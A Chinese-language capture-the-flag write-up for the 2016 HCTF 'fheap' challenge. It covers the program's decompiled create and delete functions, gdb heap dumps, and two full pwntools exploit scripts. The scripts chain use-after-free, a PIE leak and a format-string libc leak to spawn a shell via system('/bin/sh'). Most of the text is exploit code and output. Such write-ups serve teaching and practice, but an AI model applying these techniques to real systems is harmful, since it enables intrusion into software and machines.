前言
前几天学了use after free,对fastbin机制有了一定的了解。结合其他知识详细解析一下跟uaf有关的一道题。
1 2 3 4
| 题目来源:2016 HCTF fheap 下载地址:https://github.com/zh-explorer/hctf2016-fheap 知识点:UAF、格式化字符串 技巧:PIE的绕过
|
程序静态分析
还是那句话,任何漏洞的利用都要回到程序本身。
程序提供两项功能,create string和delete string
create函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| ptr = (char *)malloc(0x20uLL); printf("Pls give string size:"); nbytes = sub_B65(); if ( nbytes <= 0x1000 ) { printf("str:"); if ( read(0, &buf, nbytes) == -1 ) { puts("got elf!!"); exit(1); } nbytesa = strlen(&buf); if ( nbytesa > 0xF ) { dest = (char *)malloc(nbytesa); if ( !dest ) { puts("malloc faild!"); exit(1); } strncpy(dest, &buf, nbytesa); *(_QWORD *)ptr = dest; *((_QWORD *)ptr + 3) = sub_D6C; } else { strncpy(ptr, &buf, nbytesa); *((_QWORD *)ptr + 3) = sub_D52; } *((_DWORD *)ptr + 4) = nbytesa; for ( i = 0; i <= 15; ++i ) { if ( !*((_DWORD *)&unk_2020C0 + 4 * i) ) { *((_DWORD *)&unk_2020C0 + 4 * i) = 1; *((_QWORD *)&unk_2020C0 + 2 * i + 1) = ptr; printf("The string id is %d\n", (unsigned int)i); break; } } if ( i == 16 ) { puts("The string list is full"); (*((void (__fastcall **)(char *))ptr + 3))(ptr); } } else { puts("Invalid size"); free(ptr); }
|
delete函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| printf("Pls give me the string id you want to delete\nid:"); v1 = sub_B65(); if ( v1 < 0 || v1 > 16 ) puts("Invalid id"); if ( *((_QWORD *)&unk_2020C0 + 2 * v1 + 1) ) { printf("Are you sure?:"); read(0, &buf, 0x100uLL); if ( !strncmp(&buf, "yes", 3uLL) ) { (*(void (__fastcall **)(_QWORD, const char *))(*((_QWORD *)&unk_2020C0 + 2 * v1 + 1) + 24LL))( *((_QWORD *)&unk_2020C0 + 2 * v1 + 1), "yes"); *((_DWORD *)&unk_2020C0 + 4 * v1) = 0; } }
|
可以看到,delete的时候并未判断string是否存在,free之后并没有将改地址设为NULL。因此有很明显的double free漏洞。
程序动态分析
checksec
1 2 3 4 5 6 7
| gef➤ checksec [+] checksec for '/mnt/hgfs/shared/2016HCTF fheap/fheap' Canary : Yes NX : Yes PIE : Yes Fortify : No RelRO : Partial
|
首先create两个<=0xf的string,查看堆空间
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| gef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /mnt/hgfs/shared/2016HCTF fheap/fheap 0x0000555555755000 0x0000555555756000 0x0000000000001000 r-- /mnt/hgfs/shared/2016HCTF fheap/fheap 0x0000555555756000 0x0000555555757000 0x0000000000002000 rw- /mnt/hgfs/shared/2016HCTF fheap/fheap 0x0000555555757000 0x0000555555778000 0x0000000000000000 rw- [heap] 0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dd3000 0x00007ffff7dd7000 0x0000000000000000 rw- 0x00007ffff7dd7000 0x00007ffff7dfd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7fda000 0x00007ffff7fdd000 0x0000000000000000 rw- 0x00007ffff7ff8000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar] 0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso] 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000025000 r-- /lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000026000 rw- /lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x /20gx 0x0000555555757000 0x555555757000: 0x0000000000000000 0x0000000000000031 0x555555757010: 0x0000000a61616161 0x0000000000000000 0x555555757020: 0x0000000000000005 0x0000555555554d52 0x555555757030: 0x0000000000000000 0x0000000000000031 0x555555757040: 0x0000000a62626262 0x0000000000000000 0x555555757050: 0x0000000000000005 0x0000555555554d52 0x555555757060: 0x0000000000000000 0x0000000000020fa1 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000000 0x555555757090: 0x0000000000000000 0x0000000000000000
|
先delete chunk1,再delete chunk0,查看堆空间以及fastbins
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| gef➤ x /20gx 0x0000555555757000 0x555555757000: 0x0000000000000000 0x0000000000000031 0x555555757010: 0x0000555555757030 0x0000000000000000 0x555555757020: 0x0000000000000005 0x0000555555554d52 0x555555757030: 0x0000000000000000 0x0000000000000031 0x555555757040: 0x0000000000000000 0x0000000000000000 0x555555757050: 0x0000000000000005 0x0000555555554d52 0x555555757060: 0x0000000000000000 0x0000000000020fa1 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000000 0x555555757090: 0x0000000000000000 0x0000000000000000 gef➤ heap bins [+] No Tcache in this version of libc ─────────────────────────────────────────── Fastbins for arena 0x7ffff7dd1b20 ─────────────────────────────────────────── Fastbins[idx=0, size=0x10] 0x00 Fastbins[idx=1, size=0x20] ← Chunk(addr=0x555555757010, size=0x30, flags=PREV_INUSE) ← Chunk(addr=0x555555757040, size=0x30, flags=PREV_INUSE) Fastbins[idx=2, size=0x30] 0x00 Fastbins[idx=3, size=0x40] 0x00 Fastbins[idx=4, size=0x50] 0x00 Fastbins[idx=5, size=0x60] 0x00 Fastbins[idx=6, size=0x70] 0x00
|
下面查看string list(unk_2020C0 )的内容。string list在.bss段,该段为可读写段,可读写段从plt表开始。由上面的vmmap可知可读写段地址为0x0000555555756000
,ida中查看偏移
1 2 3 4 5 6 7 8
| .got.plt:0000000000202000 dq offset stru_201DF0 .got.plt:0000000000202008 qword_202008 dq 0 ; DATA XREF: sub_950↑r .got.plt:0000000000202010 qword_202010 dq 0 ; DATA XREF: sub_950+6↑r .got.plt:0000000000202018 off_202018 dq offset free ; DATA XREF: _free↑r .got.plt:0000000000202020 off_202020 dq offset strncpy ; DATA XREF: _strncpy↑r ... .bss:00000000002020C0 unk_2020C0 db ? ; ; DATA XREF: sub_D95:loc_DE9↑o .bss:00000000002020C0 ; sub_D95+C1↑o ...
|
偏移为0xc0,因此string list的地址为0x00005555557560c0
1 2 3 4 5 6
| gef➤ x /10gx 0x00005555557560c0 0x5555557560c0: 0x0000000000000000 0x0000555555757010 0x5555557560d0: 0x0000000000000000 0x0000555555757040 0x5555557560e0: 0x0000000000000000 0x0000000000000000 0x5555557560f0: 0x0000000000000000 0x0000000000000000 0x555555756100: 0x0000000000000000 0x0000000000000000
|
可以看到free后的堆地址仍然存在。
接着create大小为0x20的string,查看堆空间
1 2 3 4 5 6 7 8 9 10 11
| gef➤ x /20gx 0x0000555555757000 0x555555757000: 0x0000000000000000 0x0000000000000031 0x555555757010: 0x0000555555757040 0x0000000000000000 0x555555757020: 0x0000000000000020 0x0000555555554d6c 0x555555757030: 0x0000000000000000 0x0000000000000031 0x555555757040: 0x3131313131313131 0x3232323232323232 0x555555757050: 0x3333333333333333 0x3434343434343434 0x555555757060: 0x0000000000000000 0x0000000000020fa1 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000000 0x555555757090: 0x0000000000000000 0x0000000000000000
|
发现了uaf漏洞。
利用思路如下:
1 2 3 4 5 6
| 根据调用free函数的地址找到puts函数地址 puts函数泄漏程序基地址 根据程序基地址找到printf函数地址 利用printf的fmt漏洞泄漏libc基地址 根据libc基地址找到system函数地址 调用system("/bin/sh")
|
漏洞利用
第一步:根据调用free函数的地址找到puts函数地址
查看puts函数在程序中的偏移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| ➜ objdump -d -M intel fheap | grep puts 0000000000000990 <puts@plt>: c54: e8 37 fd ff ff call 990 <puts@plt> c60: e8 2b fd ff ff call 990 <puts@plt> c6c: e8 1f fd ff ff call 990 <puts@plt> d1a: e8 71 fc ff ff call 990 <puts@plt> d2d: e8 5e fc ff ff call 990 <puts@plt> de4: e8 a7 fb ff ff call 990 <puts@plt> f31: e8 5a fa ff ff call 990 <puts@plt> f83: e8 08 fa ff ff call 990 <puts@plt> 100d: e8 7e f9 ff ff call 990 <puts@plt> 1119: e8 72 f8 ff ff call 990 <puts@plt> 1156: e8 35 f8 ff ff call 990 <puts@plt> 1162: e8 29 f8 ff ff call 990 <puts@plt> 116e: e8 1d f8 ff ff call 990 <puts@plt>
|
因此将调用free函数的偏移改成调用puts函数(这里为0x0000555555554d52)的偏移即可。这里选用0xd2d,其实只用修改最后一个字节就可以了
第二步:puts函数泄漏程序基地址
1 2 3 4 5 6 7 8 9 10
| create("aaaaa") create("bbbbb") delete(1) delete(0) payload = 24 * 'a' + '\x2d' create(payload) delete(1) p.recvuntil(24*'a') elf_base = u64(p.recv(6).ljust(8,'\x00')) - 0xd2d log.success('elf_base:'+hex(elf_base))
|
第三步:根据程序基地址找到printf函数地址
查看printf函数在程序中的偏移
1 2 3 4 5 6 7
| ➜ objdump -d -M intel fheap | grep printf 00000000000009d0 <printf@plt>: dbb: e8 10 fc ff ff call 9d0 <printf@plt> e19: e8 b2 fb ff ff call 9d0 <printf@plt> f0a: e8 c1 fa ff ff call 9d0 <printf@plt> f56: e8 75 fa ff ff call 9d0 <printf@plt> 10ee: e8 dd f8 ff ff call 9d0 <printf@plt>
|
printf_addr = elf_base + 0xdbb
第四步:利用printf的fmt漏洞泄漏libc基地址
首先需要再栈中找到一个libc中的函数,首先测试一下fmt泄漏栈中数据的偏移,例如%6$p
打印出栈中第二个地址中的数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| gdb-peda$ stack 30 0000| 0x7fff7f5641d0 --> 0x563315439c8f (test rax,rax) 0008| 0x7fff7f5641d8 --> 0x563315439e95 (lea rax,[rip+0x201224] # 0x56331563b0c0) 0016| 0x7fff7f5641e0 --> 0x0 0024| 0x7fff7f5641e8 --> 0x100000000 0032| 0x7fff7f5641f0 --> 0xa736579 ('yes\n') 0040| 0x7fff7f5641f8 --> 0x0 0048| 0x7fff7f564200 --> 0x0 0056| 0x7fff7f564208 --> 0x0 0064| 0x7fff7f564210 --> 0x0 0072| 0x7fff7f564218 --> 0x0 0080| 0x7fff7f564220 --> 0x0 0088| 0x7fff7f564228 --> 0x0 0096| 0x7fff7f564230 --> 0x0 0104| 0x7fff7f564238 --> 0x0 0112| 0x7fff7f564240 --> 0x0 0120| 0x7fff7f564248 --> 0x0 0128| 0x7fff7f564250 --> 0x0 0136| 0x7fff7f564258 --> 0x7fbb1fe55bff (<_IO_new_file_write+143>: test rax,rax)
|
找到第18个地址中的数据为libc函数地址,fmt为%22$p
。计算偏移
1 2
| gdb-peda$ p 0x7fbb1fe55bff-0x00007fbb1fddd000 $3 = 0x78bff
|
脚本如下:
1 2 3 4 5 6 7
| delete(0) payload = 'b' * 8 + '%22$p' + 'b'*11 + p64(printf_addr) create(payload) delete(1) libc_base = int(p.recv()[10:22],16) - 0x78bff log.success('libc_base:'+hex(libc_base))
|
第五步:根据libc基地址找到system函数地址
1
| system_addr = libc_base + libc.symbols['system']
|
第六步:调用system(“/bin/sh”)
这里有一个小问题,如何传/bin/sh
?解决办法/bin/sh;
完整exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| from pwn import *
p = process("./fheap") elf = ELF("./fheap") libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so") print hex(libc.symbols['system']) def create(s): p.recvuntil("quit\n") p.sendline("create str") p.recvuntil("size:") p.sendline(str(len(s))) p.recvuntil("str:") p.sendline(s)
def delete(num): p.recvuntil("quit\n") p.sendline("delete str") p.recvuntil("id:") p.sendline(str(num)) p.recvuntil("sure?:") p.sendline("yes")
create("aaaaa") create("bbbbb") delete(1) delete(0) payload = 24 * 'a' + '\x2d' create(payload) delete(1) p.recvuntil(24*'a') elf_base = u64(p.recv(6).ljust(8,'\x00')) - 0xd2d log.success('elf_base:'+hex(elf_base)) printf_addr = elf_base + 0xdbb
delete(0) payload = 'b' * 8 + '%22$p' + 'b'*11 + p64(printf_addr) create(payload) delete(1) libc_base = int(p.recv()[10:22],16) - 0x78bff log.success('libc_base:'+hex(libc_base)) system_addr = libc_base + libc.symbols['system']
p.sendline('\x0a') delete(0) payload = '/bin/sh;' + 'a'*16 + p64(system_addr) create(payload)
delete(1) p.interactive()
|
在不知道libc版本的情况下,可以利用DynELF泄漏system地址,exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| from pwn import *
p = process("./fheap") elf = ELF("./fheap")
def create(s): p.recvuntil("quit\n") p.sendline("create str") p.recvuntil("size:") p.sendline(str(len(s))) p.recvuntil("str:") p.sendline(s)
def delete(num): p.recvuntil("quit\n") p.sendline("delete str") p.recvuntil("id:") p.sendline(str(num)) p.recvuntil("sure?:") p.sendline("yes")
create("aaaaa") create("bbbbb") delete(1) delete(0) payload = 24 * 'a' + '\x2d' create(payload) delete(1) p.recvuntil(24*'a') elf_base = u64(p.recv(6).ljust(8,'\x00')) - 0xd2d log.success('elf_base:'+hex(elf_base)) printf_addr = elf_base + 0xdbb
def leak(addr): delete(0) payload = 'b' * 8 + '%10$s' + 'b'*11 + p64(printf_addr) create(payload) pay = 'yes11111' + p64(addr) p.recvuntil('3.quit\n') p.sendline('delete ') p.recvuntil('id:') p.sendline('1') p.recvuntil('Are you sure?:') p.sendline(pay) p.recvuntil('bbbbbbbb') context = p.recvuntil('bb')[:-2] + "\x00" print("%#x -> %s" %(addr, (context or '').encode('hex'))) p.sendline('\x0a') return context
d = DynELF(leak,elf_base,elf = elf) system_addr = d.lookup('system','libc')
delete(0) payload = '/bin/sh;' + 'a'*16 + p64(system_addr) create(payload)
delete(1) p.interactive()
|